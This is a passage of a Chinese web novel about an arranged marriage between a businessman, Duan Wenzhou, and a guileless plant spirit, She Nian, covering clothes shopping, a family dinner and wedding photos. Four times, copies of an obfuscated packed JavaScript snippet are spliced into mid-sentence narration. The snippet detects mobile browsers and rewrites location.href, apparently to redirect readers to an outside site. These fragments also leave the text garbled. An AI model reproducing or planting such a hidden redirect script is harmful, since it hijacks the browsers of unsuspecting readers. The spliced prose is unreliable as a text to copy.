看着人快要遮住刘海的眼睛,他伸出手替人往上捋了捋。 刘海被拨开,露出了底下一双清澈如泉的大眼睛。 那是一双圆润的杏眼,干净透亮,表层似乎总是蒙着一层水雾,泛着水光,看上去很是无辜,仿佛林间的小鹿,总是有着一丝可爱但不惹人厌烦的茫然。 纤密如羽的睫毛扇了扇,像是在人的心脏上挠痒。 琥珀色的瞳孔剔透如玻璃,清澈无暇,里面盈着浅显易懂的情绪,又好似夜空中闪烁的明星,眸光荡漾,碎开一片星河在其间。 葡萄一样圆溜溜的眼,毫无攻击性,温和湿润,用这双眼睛就只是那么注视着你,哪怕不说话,任何人都会被他轻易俘获,下意识想要温柔待他。 之前被稍长的刘海挡住时,段闻洲一直没发现,除了眼睛外,佘念五官也很清秀,白净端正,像是未被雕琢的璞玉。 “怎么了吗?” 感受到人的手贴在自己的额头上,还一直注视着自己,佘念眨了眨眼,不解地问道。 “没什么,是想问你要不要剪一下头发?太长会有些挡住视线。” 回过神来,段闻洲忙将视线从人的脸上移开。 “唔,要剪吗?也可以呀。” 佘念拨弄着自己的头发,一副任君处置的样子。 恰逢裁缝师的小徒弟从旁经过,听见两人的对话,她主动上前: “是要剪头发吗?我可以帮忙哦,我之前在理发店当过一段时间的学徒。” 闻言,段闻洲用视线向佘念发出询问,得到人点点头的肯定后,才邀请女生帮忙。 于是女生拉着佘念在椅子上坐下,兴奋地操起剪刀: “只帮你修短一点点可以吗?不然剪太短的话,到时候婚礼做造型可能不方便。” “可以的。” 佘念乖巧点头。 剪刀咔嚓轻剪着头发,细碎的小截头发如同落花一样纷纷落在地上,趁着人剪头发的间隙,段闻洲也去试穿了一下自己的西服。 当他掀开试衣间的帘子走出来时,余光捕捉到其身影,佘念眼睛忽地睁大,眼睛里的光格外亮晶晶。 ——这身衣服的他更好看了! “诶您不要动,差点剪歪了。” 得亏女生眼疾手快,按住了想要直接跑过去的他,不然差点要手滑把那一把头发全剪掉了。 “还要多久呀?” 好像有些迫不及待了,佘念的目光一直往段闻洲的身上瞥。 看来两人感情还挺好呢,女生掩嘴偷笑,加快了手上的动作。 女生主要是帮忙将刘海修短了,露出了人完整的眼睛和大半额头,原本长到快遮住后颈的头发也被修短了几分,现在刚好到后脑勺。 “谢谢!” 一听到说结束了,佘念连身上的碎发都没来得及拍,冲人道谢完就跳下椅子,小跑来到了段闻洲的身边,把人上上下下打量了一番。 “你真好看!” 比第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707040|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面的时候还要好看,他情不自禁地夸道。 “是吗,谢谢夸奖。” 看着他激动的样子,段闻洲忍俊不禁,侧头看了看镜子里的两人。 他一身黑色西装,款式和佘念身上的相差无几,但上身的气质大相径庭,宽肩长腿,非常明显的成熟男人风味。 两人并肩而立,一高一矮,大概有一个头的身高差距,一黑一白,西装的颜色互补互搭,画面看上去倒格外和谐。 就像是太极的阴阳两极,相互依偎相互衬托,天生就该是一对,谁都不能分开。 “刚刚忘了说,你也很好看。” 段闻洲低头看向佘念,没忍住抬手摸了摸他的脑袋。 ———— 确定好礼服的最终成品后,段闻洲让裁缝师安排时间送去段家。 就在佘念以为两人要回去或者去吃饭时,却没想到车开到了一处商场外。 他扭头看着人,用视线发出询问。 “带你去买点东西。” 段闻洲勾了勾嘴角,不由分说拉着他下了车。 ——其实刚才在店里看见佘念穿上新西装时,段闻洲就在心里琢磨要不要再给人买几件其他的衣服。 因为佘念平常穿的衣服太过简单,别说不是名牌了,就连设计感都没有,就像是随便买的一样。 跟花里胡哨还一身牌子货的佘群逸相比,佘家的偏心太过明显。 一想到这小孩打扮起来其实不差,段闻洲就为这小孩抱不平,所以想着给人先随便买几身衣服将就穿穿。 他带着人走进了商场,来到了楼上的服装区。 这处商场是高端商场,里面所聚集的自然也都是大品牌,价格不菲。 “给你买几身衣服,有没有什么想要的?” 站在服装区,段闻洲问道。 “买衣服?” 状况外的佘念歪了歪头。 “刚刚不是已经有一套新的了吗?” “那不一样,那套衣服是婚礼上穿的,现在我们要买的,是日常里能穿的普通衣服。” 这样子吗?佘念好奇地打量了一番周围的店铺,里面琳琅满目的衣服让他目不暇接。 “想买什么类型的衣服?春装还是夏装?” 段闻洲主动拉上人的手,带着他四处逛了起来,好看看他是否有心动的。 “什么衣服都可以吗?” “当然。” 得到肯定的答复后,他便如同一只刚进城的小土狗一样,探头探脑地四处张望。 人类的衣服啊,要买什么比较合适呢? 佘念平常都是随便在衣柜里拿一件穿的,严格来说其实他不太喜欢穿人类的衣服,包在身上总觉得不太自由,有一种束缚感。 不像还是植物那时,身上什么都不用穿,只有叶子,光溜溜的十分自由。 就在他琢磨时,忽然间余光一瞥,捕捉到了某件心动的衣服。 “我想要那件,可以吗?” 顺着人所指的方向望去,看见那件橱柜里挂着的衣服后,段闻洲的脸上浮现出了明显的怔愣。 还有几分不解、震惊。 只见佘念所指的,是一件黑色的挂脖露背紧身包臀连衣裙,布料极少,风格火辣,哪怕穿在无头塑料模特身上,都能感觉到御姐范扑面而来。 段闻洲头顶浮现出一个大大的问号,猜测这小孩是不是有什么独特的癖好? 15. 第 15 章 “你确定,是这件吗?” 段闻洲定了定神,安慰自己可能是出现了幻听,或者会错了意。 “嗯呐,就是这件啊。” 说着,佘念还专门上前来到玻璃展柜外,站在裙子的旁边,凑近指了指。 行,原来真没弄错。 得到确认的段闻洲不由得捂脸。 店里的导购员抬头朝外张望,不知道这两个大男人站在辣妹裙旁边做什么。 感受到查看的视线,站在商场的大厅里的堂堂段总,头一次觉得如此无助。 其实佘念倒也不是真喜欢这条裙子,选这件的原因很简单,那就是因为它布料少。 ——看上去包裹身体的部分很少,想必穿上应该要比其他的衣服束缚感少,会舒服很多。 所以向往自由无拘束感觉的佘念,才说出了如此惊世骇俗的话,要买性感包臀裙。 “那个,佘念,你知道这是女装吗?” 段闻洲汗颜,不得不将人从玻璃边拉开,耐心地对他解释道。 果然,我们性别意识不太强的小蛇舌草精闻言歪了歪头,眼眸里有明显的茫然流出。 “意思就是,你是男生,只能穿男装,只有女生才能穿这类女装,知道吗?” 无奈地在心底叹了口气,段闻洲只好一字一句地给人科普着。 越来越像带小孩了是怎么回事,他忍不住在心底感慨。 “为什么一定只有女生才能穿啊,男生就不行吗?谁规定了吗。” 可佘念还在钻牛角尖。 这孩子不会真的有什么奇怪的歪思想吧,比如说女装癖什么的…… 脑袋隐隐作痛,段闻洲好说歹说,最终费了好大一番力气,才成功劝说人放弃了这个危险的想法。 算了,还是自己来给人挑衣服吧。 他默默剥夺了佘念的选择权,转而由自己全权负责挑选。 经过一个多小时的鏖战,进入商场时两人还是空手而来,离开时却是满满当当的战利品。 如果不是有配送服务的话,大概开车都拉不完这些东西。 给佘念挑选衣服时,段闻洲才理解了为什么女孩子喜欢玩换装游戏。 这种亲手给人打扮的养成感,竟该死的令人着迷。 虽然佘念看上去瘦瘦小小的,但没想到他也是个隐形的衣架子,穿什么衣服都好看。 不论是卫衣加牛仔裤的校园风打扮,还是蓝白色的水手服搭配贝雷帽,或者是灯笼袖衬衫配西装短裤的休闲风,他都能驾驭住。 就像个洋娃娃一样,怎么打扮都合适。 老父亲心态爆发,段闻洲一开始本来还想着随便买几套,可到最后却没忍住,变成了几十套衣服,刷卡的时候店员的脸上都快要笑开花了。 考虑到要不了多久佘念就会搬到自己那去住,为了方便搬家,在争得人同意后,段闻洲便把配送地址选择了自己那处大平层,只另外留下了几套常服外加睡衣让他带回去穿。 刚才看人试衣服的时候,段闻洲忽然有一种恍惚,觉得佘念其实就像是株蒙尘的玫瑰花苞,若是细心照料的话,大概会绽放出一朵无与伦比的艳丽。 或许日后住在一起时,自己可以再多对人好一点,好好培育这朵玫瑰。 现在就先简单买一点衣服,等以后再好好把人从头到脚打扮一番吧。 ———— 结束了购物后两人又一块去吃了个饭,段闻洲才让司机将佘念送回家。 下车时还提醒人别忘了拿上那几套衣服。 对衣服倒还好,主要是吃了好吃的所以心满意足,佘念对着人露出一个灿烂的笑,嘿嘿咧嘴挥手跟人道别。 当他拎着几个购物袋走进家门时,客厅里正好有对话声传来,是佘毅峰和佘群逸两人在说话: “爸,你就再给我加点零花钱嘛,我现在追求赵小姐开销太大,钱不够用了。” “那么多零花钱都不够你用吗?” 闻言,佘毅峰横眉一挑,像是不太信。 “当然不够啊,爸你是不知道,今天我下了血本带人家去约会了,给她买了好几套X牌的新品,钱包都快掏空了。” 佘群逸扁了扁嘴,撒娇道。 也是,追女孩子肯定要给人多买东西,奢侈品什么的不能少,想到这,佘毅峰便点了点头答应下来。 “爸你最好了!” 就在佘群逸高兴地黏着人撒娇时,恰好佘念推开了大门,他默默瞥了一眼两人,连招呼都懒得打就准备直接上楼。 “嘁。” 对他的没礼貌没人在意,毕竟只当他是个傻子,佘群逸对人不屑地翻了个白眼,但余光捕捉到人手中拿着的东西时却是一怔。 等会,这傻子手里拎着的,好像是X牌的袋子? 数量还这么多,少说得七八个。 他哪来的钱买?还是说是段闻洲送他的? “你手里的东西哪来的?” 佘群逸朝人喊道。 “这个?” 举起手中的袋子晃了晃,佘念反问。 “段闻洲送我的,好多呢,你也想要吗?” 还有好多直接送去他家了,自己只拿了一小部分最近穿一穿,难道佘群逸也想要? 想要自己去买,才不会给他呢,就是顺口一问而已。 佘念本只是客观地陈述事实外加反问,但这话落在别人耳里就带有极强的讽刺意味。 被刺到薄弱处的佘群逸一下子红温了。 ——他什么意思?大摇大摆拎着那么多奢侈品袋子,还问我要不要?自己今下午给赵小姐买了几套就大出血了,他凭什么零成本被送了这么多。 沦为可怜对照组的佘群逸简直气死了,但余光瞥到附近触手可及的木椅,他又怂了。 前几天被佘念抡起椅子追着砸的记忆还记忆犹新,实在不想被追第二次了。 他刚想骂出口的话又咽了回去,默默缩了缩脖子,怕得不敢动了。 “你不要吗?” 见人半天没回答,佘念又追问。 “不要。” 佘群逸被噎得梗红了脖子,气不打一处来,偏偏又不敢发泄。 “哦,那我回房了。” 说着,佘念头也不回地扭头走了,噔噔噔跑回了自己的房间关上门,只留下气得脸涨红的佘群逸和一语不发的佘毅峰在原地。 ———— 另一边,送完佘念后,段闻洲乘坐司机的车离开。 “段总,我们现在是去公司还是回家?” 司机问道。 “不,先再回一趟商场。” 段闻洲沉思片刻后,给出了让人意外的答案。 “刚刚那个商场吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707041|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >司机有些诧异,以为自己听错了,但没想到段闻洲肯定地点了点头,他压下好奇想询问的话语,掉头拐回。 汽车到地停下后,段闻洲独自下了车,回来时手里多出了一个黑色的纸袋。 从袋子上方微微敞开的口看去,依稀可见里面被叠好的黑色裙摆一角。 “走吧。” 别扭地清了清嗓子,段闻洲吩咐司机启程。 “是。” 透过车内后视镜,司机不解为什么自家老板此时看上去如此不好意思。 袋子被放在脚边,段闻洲时不时低头瞥一眼,但随即又好像被烫到了一样,连忙收回视线看向窗外,单手捂脸。 被藏在手掌之下的,是脸颊处浮起的淡淡红晕。 ——方才他掉头回去买的,正是最开始佘念指着说要的那条黑色露背紧身裙。 咳,虽然说不理解,但还是尊重。 万一这小孩真有独特的喜好呢,自己也不好妄加评论,毕竟每个人都有自己的秘密。 段闻洲轻咳两声缓解尴尬,回到家后越看这裙子越脸红,最后索性将裙子塞进了衣柜的最底层。 ———— 婚礼准备过程中需要佘念参与的事大部分已经安排好,所以在婚礼前他没有其他的事要帮忙,又沉浸在了电视中。 只不过看的内容,由启蒙动画片转变成了电视剧。 还是那种八点档的肥皂狗血剧。 通过看动画片,佘念已经掌握了很多社会上的基础知识,现在的认知水平类似于小学生,基本的东西都了解了,但是更深入的就还有待学习了。 狗血剧的内容实在上头,以至于佘念看得如痴如醉。 我爱你你不爱我我不爱你了你又爱我,她逃他追她插翅难飞,分分合合合合分分,狗血泼天撒得到处飞。 虽然以佘念的小脑袋瓜,暂时还不太能理解各个主角间疯狂拉扯的情感,也不明白为什么一会爱一会不爱的,但是他看着电视里的各种婚后剧情十分津津有味。 原来结婚以后真的是这样,每天生活在一起,每天都会见面。 穿着段闻洲送的睡衣坐在床上,佘念抱着枕头琢磨道。 看上去好幸福呀,比自己住在佘家这边强多了,和闻洲哥哥那样的好人一起生活肯定会很棒。 简直迫不及待了。 佘念期待极了。 不过让他有一点感到奇怪的是,电视剧里演的婚礼,都是一个人穿婚纱,另一个人穿西服的,可为什么轮到自己却都是西服? 难道不需要有人穿婚纱吗? 穿的话该谁穿呢,自己,还是段闻洲? 实在想不通这点,佘念遂放弃,决定下次和段闻洲见面时再找机会问问。 就在他这么想时,或许是心有灵犀,又或者是巧合,下一秒段闻洲的电话就打了过来: “在忙吗?” 听到那端熟悉的声音,佘念不由得弯了弯眉眼,垂在床沿两侧的脚丫子高兴地晃着: “在看电视呢。” “还是上次说的那个动画?” “不是的,这次是电视剧,重生之少奶奶出逃99次。” 听他一本正经地念出这么羞耻的名字,段闻洲哑然失笑,闲聊后点明这次打电话的目的: “今晚上有时间吗?我爸妈想邀请你来家里吃个饭。” 16. 第 16 章 约佘念来家里吃饭,其实是段母的提议。 虽然之前和段闻洲面对面谈过联姻的事,知道其有自己的打算,所以对联姻对象是佘念一事也不在意,但作为母亲,在儿子的婚姻大事上她还是不敢放心。 试想哪位母亲在得知自己的儿子要和一个傻子结婚后,还能安安心心地待着的呢? 哪怕儿子说过,那人只是心性单纯,并不是常规意义上的傻子。 上一次在饭店碰面时,光顾着生气了,没仔细留意佘念,所以她就想着这次借着吃饭的机会,让段闻洲把人带来见个面。 好让自己亲自探探情况,看看这佘念到底是个什么样的人,不然怎么也放不下心来。 为了让母亲安心,段闻洲答应了下来,但是具体的也要征求佘念的意见,如果他不愿意的话自然也不会强求。 “去你家里,吃饭吗?” 佘念确认道。 “嗯,就你一个人来就好,不用你家的其他人,也不用太紧张,没有其他目的,只是我爸妈单纯想见见你。” 电话对面的人安慰道。 “可以呀,今晚上是吗?” “对的,如果你愿意的话,到时候我开车去接你。” 琢磨了一会后,佘念没想那么多,很轻易地答应了下来。 到了晚上六点,段闻洲来接上了人,恰好佘毅峰几人不在家,也省去了他问候的话,直接带人出发就好。 “紧不紧张?” 怕这小孩会不自在,段闻洲一边开车一边问。 “不紧张。” 佘念摇了摇头,随即又竖起一根手指说。 “我只有一个问题。” “你说。” “你家的饭菜好吃吗?” 之前都是去外面吃的,都是好吃的,第一次去别人家里吃饭,也不知道味道怎么样。 “哈哈哈,当然,你放心,我们家的厨子都是五星级饭店挖过来的,做出来的饭不比外面差。” 没想到这小孩考虑的不是要见家长而紧张的事,反而在琢磨菜好不好吃,关注点如此地清奇,段闻洲没忍住低笑出声。 “那就好。” 闻言,佘念咧嘴一笑,露出一排白花花又整齐的牙齿。 “诶不对,我还有一个问题。” 忽然想起另一件事,他连忙又追问。 “什么?” “就是我们婚礼上,我不用穿婚纱吗?” 什么?穿婚纱? 听见这个问题,段闻洲险些没握稳方向盘,差点要操着车往路边的花圃里开去。 “你刚刚,说的是婚纱吗?” 他连忙调整回车的路线,迟疑地道,怀疑自己刚刚是不是又出现了幻听。 “是呀,我看别人结婚都是有穿婚纱的,难道我们不用吗?” 看多了电视剧以后,佘念虽然知道了一男一女结婚是由女生穿婚纱的,但是自己和段闻洲可是两个男的,那似乎就只能由自己来穿了的样子? 毕竟怎么也想象不出来段闻洲穿婚纱的样子,自己又比人矮,那就还是自己来好了。 他在心底琢磨道。 而段闻洲却暗暗抽了抽嘴角,险些控制不住面部表情。 ——这孩子,不会真有女装癖这种独特爱好吧? 上一次是要买紧身包臀裙,这一次是要穿婚纱。 但这种小众爱好又不太好介入纠正,毕竟每个人都有自己的选择,虽然私底下段闻洲对此是愿意表示尊重理解的,但是婚礼这种公开场合恐怕还是要略加制止一下。 “那个,我们的婚礼是不用婚纱的,我们两个人都穿西装就可以。” 他委婉地劝道。 “就是说我不用穿婚纱吗?” “对,最起码公开场合最好还是不要穿,但是……但是如果你想的话我可以给你买一件,你只能在私下穿。” “哦,那好吧。” 其实完全没听懂人后面那半截话的意思,佘念只捕捉到了关键信息不用穿,便点点头。 但见他忽然不做声,段闻洲还以为他是失望了,在心底思考了好一会也想不通,在这种情况下要怎么安慰人,只好暗下决定,要不以后还是多按他的喜好购置一点女装吧。 算是一点微不足道的安慰好了。 于是乎,误会就这么滚雪球似的越滚越大。 车驶入段家的主宅时,段父段母二人已经提前在门口迎接。 段父名叫段风华,板着一张脸看不出喜怒哀乐,是很典型的严父,但只是不善言辞,实际上是非常在意儿子的。 而段母名叫于秋柳,保养得极好,看起来比实际年龄小很多,此时脸上带着几分忧愁,一直盯着门口看。 “爸,妈,我们来了。” 下车后,段闻洲一边给副驾上的佘念开门,一边对等候多时的父母打招呼。 “这位就是小念吧。” 两人上前一步迎接。 一下车,佘念便和段风华两位长辈对上了视线。 这种情况下该怎么做他知道的! 曾经在电视上看到过,这种时候见面要主动和长辈打招呼,而且还要叫对人家的称呼,不然会闹笑话。 根据自己和段闻洲的身份,自己得叫两位长辈为…… 大脑飞速运转,确定好称谓后,佘念按照在电视上演的那样,深呼吸一口气,然后铿锵有力地大喊着打招呼: “爸爸妈妈好!” 这嘹亮的喊声一出,在场的众人齐齐沉默了,绕是平常一向沉稳镇定的段风华,脸上也出现了一丝裂痕。 嗯?我说错话了吗? 应该没错啊,电视上都是这么演的,结婚对象的家长,就是改口要喊爸妈的呀? 不知空气为何突然安静的佘念眨了眨眼,一脸茫然。 “咳,那个,佘念,在结婚之前一般是不用改口的。” 段闻洲尴尬地咳了一声,抬手搭上人的肩膀委婉提醒道。 “你现在直接喊叔叔阿姨就好。” “啊……那,那个,叔叔阿姨好。” 还是喊错了吗?佘念的眼底流露出一丝迷茫,扁了扁嘴,呆呆地照做。 “欸好好,你也好,快先进来坐吧。” 于秋柳回过神来,连忙招呼人进屋坐下。 刚刚那一声主动改口的爸妈实在让人猝不及防,令他们直接愣在原地了。 不过正基于此,于秋柳对佘念的好感也上升了。 ——试问谁不喜欢睁着湿润的圆眼,一脸认真地看着自己叫妈的乖乖小男孩呢? 这谁顶得住啊。 拉着人在客厅沙发上坐下,于秋柳热情地同人攀谈起来: “小念啊,今年多大了?” “二十二了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707042|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 佘念竖起两根手指,乖巧回答。 “和我们家闻洲相处得怎么样啊?” “闻洲哥哥是好人!对我可好了,比别人都要好,我很喜欢他。” “比你家里人还好吗?” “对的,我不喜欢家里的人,他们对我一点都不好。” 他们老是欺负原主,还会说闻洲哥哥的坏话,想到这佘念撇了撇嘴。 “佘家那群人也真是,怎么这么……” 怎么这么可爱的孩子还区别对待,于秋柳对佘毅峰几人的不满更深了。 这些家伙心眼子多就算了,还这么不当人,不过反应过来这些话不太适合当着佘念的面说,便又及时刹住了。 经过一番简单的沟通后,于秋柳发现段闻洲说的话是对的,这孩子确实不如传闻中所说的那样傻。 最开始还以为他是那种生活不能自理,只知道流口水阿巴阿巴的傻子,没想到其实只是个心性单纯,天真傻得可爱的小孩子。 平常的交流沟通也没问题,就是思考方式着实很像小孩心性。 段风华坐在一旁没有说话,虽然是低头抿茶,但也在竖起耳朵在聆听爱人和佘念间的对话,得出的看法也和于秋柳一样。 “好了,先吃饭吧,差不多到时间了。” 记得上次这小孩在包厢里饿得委屈巴巴的样子,段风华看了看时间后,放下茶杯,沉声提醒道。 果然,一听见开饭了,期待已久的佘念立刻眼睛变得亮晶晶的。 看着他这幅样子,三人互相对视一眼,眼底都染上笑意。 “来,小念,尝尝这个,这道菜是我们厨师的拿手菜,看看合不合你口味。” 于秋柳笑眯眯地夹了一筷子菜到佘念碗里。 “谢谢阿姨。” 佘念腮帮子鼓鼓的,碗里也堆得高高的,但抬起头努力地保持口齿清晰同人道谢。 “多吃点啊,对身体好。” 看着他既不挑食还胃口好,于秋柳的母爱简直要满溢出来,脸上浮现起慈爱的笑。 “对,多吃一点。” 段风华也附和道,抬手给人夹了一只虾。 “谢谢叔叔。” 佘念同样乖乖道谢。 根本没有自己夹菜的空间,看着被父母不停投喂的佘念,段闻洲哑然失笑。 他知道,看父母的举动就说明他们已经放下心来,接受了佘念了。 谁问,这样一个长得很乖,有着圆脸圆眼的白净男生,又听话又可爱,吃东西也很大碗积极,有哪一个长辈能抗拒呢? 吃饭中途,段父段母两人才终于将话题从佘念身上移开。 “闻洲,你最近要多关注一下赵家那边的举动,听说他们又要有动静了。” 段风华沉声提醒。 “我知道的,父亲。” 段闻洲点点头。 毕竟段氏集团最近遭遇资金链危机,背后也极有可能是他们动的手脚,要小心为妙。 “赵家?” 陡然听到熟悉的词,佘念咬着筷子,小声地插嘴确认道。 “怎么,你认识吗?” 段闻洲笑笑,终于找到了机会给人投喂一筷子菜。 “我听过的。” 佘念眼珠子转了转,认真地说。 “我家里最近在跟赵家攀关系,佘群逸那边一直想勾搭上赵家小姐。” 17. 第 17 章 “你是说,佘家那边在跟赵家联系?” 闻言,于秋柳皱了皱眉,确认道。 而段风华也蹙眉,停下吃饭的动作,等待着佘念的回答。 “嗯呐,他们说要让佘群逸和赵小姐多接触接触,他前几天还说跟赵小姐出去约会了。” 约会这个词是佘念从佘群逸嘴里听说才记下来的,他原原本本地给两位长辈复述了一遍自己在家所了解的事。 包括顾蓉带人去喝下午茶,还有佘群逸约赵小姐出去逛街的事。 听完后,于秋柳和段风华互相对视一眼,神情不虞。 佘家一边把佘念推给段家,又一边背地里勾搭上赵家,是什么心思不言而喻。 这佘家也太过分了,摆明是不打算拿段家当同一战线上的人了。 “欺人太甚了。” 于秋柳愤愤地道,还想再骂几句,但被段风华制住。 “还有孩子在这,别当着人家的面说坏话。” 他提醒道。 “没关系,你们不用在意的,因为我也想说他们的坏话。” 没想到佘念却摇了摇头,表示自己完全不在意。 “他们对我一点都不好,我不喜欢他们。” 对原主不好,对自己也不好,自己才不要向着他们。 听他这么说,于秋柳犹豫了片刻,又试探性地跟人打探了些其他的事,想看看他说的话是真的还是装的。 结果佘念不仅问什么答什么,还额外附赠许多其他有价值的信息。 这谁来听了都要说一句是胳膊肘往外拐。 不,或许严格来说都不是胳膊肘外拐的程度了,是整个人都歪屁股拐到这边阵营了。 “他们不是什么好人,但是闻洲哥哥是,他对我很好,也总是给我好吃的,我也能看出来你们也是好人,跟他们不一样。” 佘念咽下嘴里的藕丸,偏头望向段闻洲,十分认真地说。 而且段家感觉能对付佘家的样子,站在他们这边应该不会错。 陡然被提及的段闻洲也愣了愣,没想到这话会从他嘴里以如此郑重的口吻说出。 “你这孩子……” 于秋柳怔愣,一时间不知道该说什么。 他的神情太过坦然,语气真挚,再加上以其的单纯心性应该不会耍滑头,所以不难确认他说的话都是真的。 这孩子的价值观太朴素了点,谁对他好,谁给他好吃的,谁就是好人。 而佘家那群人显然连这点小事都没做到,所以他才会如此讨厌他们,反而会对认识不久的段闻洲更有好感。 一看就是个缺爱的孩子,于秋柳在心底叹了口气,母性泛滥,看向人的眼神也带上了更多怜爱。 “妈。” 见人还想开口,段闻洲出声打断,往人家小孩嘴里套这些事情,也有点太不合适了。 “我知道,我又没问了,我只是想让小念多吃点菜。” 回过神来,于秋柳也意识到自己刚才的举动不太妥,歉意地嘟囔了两句,然后又立刻掐着嗓子同佘念说话,给人夹了一大筷子菜。 “来小念多吃点,还想吃什么就跟阿姨说。” 一顿饭下来,佘念被投喂得肚皮鼓鼓,吃得格外满足,险些撑的站不起来。 “还合你口味吗小念?要不要再来点饭后甜点?” 看着胃口好的孩子,长辈的心情总是更好的,于秋柳笑眼眯眯地抚着脸,慈爱地望着人。 “妈,人家都撑成这样了。” 见状,段闻洲哑然失笑。 “不用了不用了阿姨,真的吃不下了。” 绕是一向嘴馋的佘念也连忙摇头拒绝。 虽然这里的饭很好吃,但是真的一口都吃不下了,已经吃太多了! 又拉着人闲聊了好一会,于秋柳才依依不舍地放人回去。 闻洲哥哥的家人真好,而且饭也好吃,下次还想来! 离开时,佘念美滋滋地想。 把人送完回来后,段闻洲好笑地看向自己的母亲: “您是不是改变看法了?” “是的,没想到这孩子确实不像传闻中的那样,其实日常接触看不出来什么,交流也很正常,就是有点呆呆的。” 又乖又呆的,于秋柳评价道,脑海内对人的记忆形象已经由阿巴阿巴流口水的样子,转变为了乖巧文静的白净小孩。 “他是这个样子,你俩以后生活在一起我也就放心了。” 不然自己的儿子结个婚,不就相当于多了个包袱吗。 “看上去是挺乖的。” 对此,段风华也接话。 见爸妈们这么说,段闻洲就知道他们已经接受佘念了,对联姻一事也放下心来。 ———— 时间已临近下个月底,婚礼的筹备工作基本上全部完成,静待婚礼那日的来临。 不过在婚礼来临前,两人还有一件重要的事要完成。 那就是领证。 “我们今天是要去哪里?” 被人接上后,佘念爬上车后座,好奇地问。 虽然被提前叮嘱了记得带上户口本,但他其实还不确定是要去哪。 “去民政局,我们要先领证。” 段闻洲同他说明着今天的安排。 首先两人要先去照相馆拍领证用的证件照,然后再前往民政局,做完婚检以后盖戳领证,才算完成了今天的全部安排。 由于行程较满,两人一大清早就出来了。 “两位是要拍结婚登记用的照片是吗?” 两人一走进照相馆,摄影师便看出来了他们的来意。 “两位坐这边,我给您们拍照,欸等一下,这位先生您需要换一下衣服,您的衣服颜色和背景有点融合了。” 开拍前,摄影师朝佘念提醒道。 今天佘念穿的是一件红边白底的卫衣,叶芽一样的娃娃领是红色的,在镜头里看起来和背景融为一体了,拍出来效果会不好。 于是摄影师拿来备用的白衬衫交给人,让他去隔壁的试衣间换一下。 佘念很少穿这种全是扣子的衣服,平常图方便都是直接穿套头的卫衣长袖之类的,上一次试西装是第一次穿衬衫。 不过当时那件衬衫质量很好,不像身上这件衬衫,扣子和洞都对不太齐,难穿得很,以至于他在试衣间里花了十多分钟来和扣子斗智斗勇。 可惜最后还是斗失败了。 “还没好吗?” 在试衣间外等了一会,见人这么长时间还没处理,段闻洲敲了敲试衣间的门。 “怎么办,我扣不好这些扣子。” 干脆拉开了门,佘念扁着嘴对他控诉起这扣子有多么难驾驭。 为什么总是扣着扣着,就总会发现多出来了一个扣子没地方待呢? 看着眼前人七歪八扭的衬衣,段闻洲哑然失笑,脸上没有不悦之色,而是耐心地弯下腰来替他解开扣错的纽扣,然后再一颗颗重新扣上。 骨节分明的手指捏着纽扣,指节时不时会碰到人的胸前,虽然隔了一层布料,但还是能感觉到皮肤上的温度。 “可以了。” 又顺手给佘念理了理领子和下摆,确认没有细节上的问题后,段闻洲才带着人回到了摄影棚坐下。 同时,他也主动脱掉了自己的西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707043|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装外套,露出了里面内搭的白色衬衫。 ——这样看起来就更和谐了,两人穿的都是白衬衫。 “好,两位可以再靠近一点点,现在这样离得太远啦。” 看着两人之间一个拳头宽的距离,摄影师提醒道。 闻言,佘念挪了挪,往段闻洲的方向又靠了靠。 “欸对,再近一点点。” 于是佘念又挪。 “还可以再近一点……再靠近一点点……” 还不够近吗?一直听着摄影师提醒还要靠近,佘念有些摸不着头脑了,索性直接指着段闻洲的大腿问: “是要近到坐在他身上吗?” 段闻洲和摄影师:……? “那个,倒也不必哈,近到您的头一歪就能靠在人家的肩膀上就行。” 摄影师好笑地道。 歪头能碰到肩膀? 于是佘念依声照做,毛茸茸的脑袋向左侧一倒,刚刚好靠在了人宽阔的肩膀上,不偏不倚,正好在中间。 被头顶的碎发挠着脖颈,段闻洲觉得莫名有些痒,侧头看去,正好能望见人的发顶,以及浓密的睫毛。 “欸好这个距离就可以!那我要拍了…” 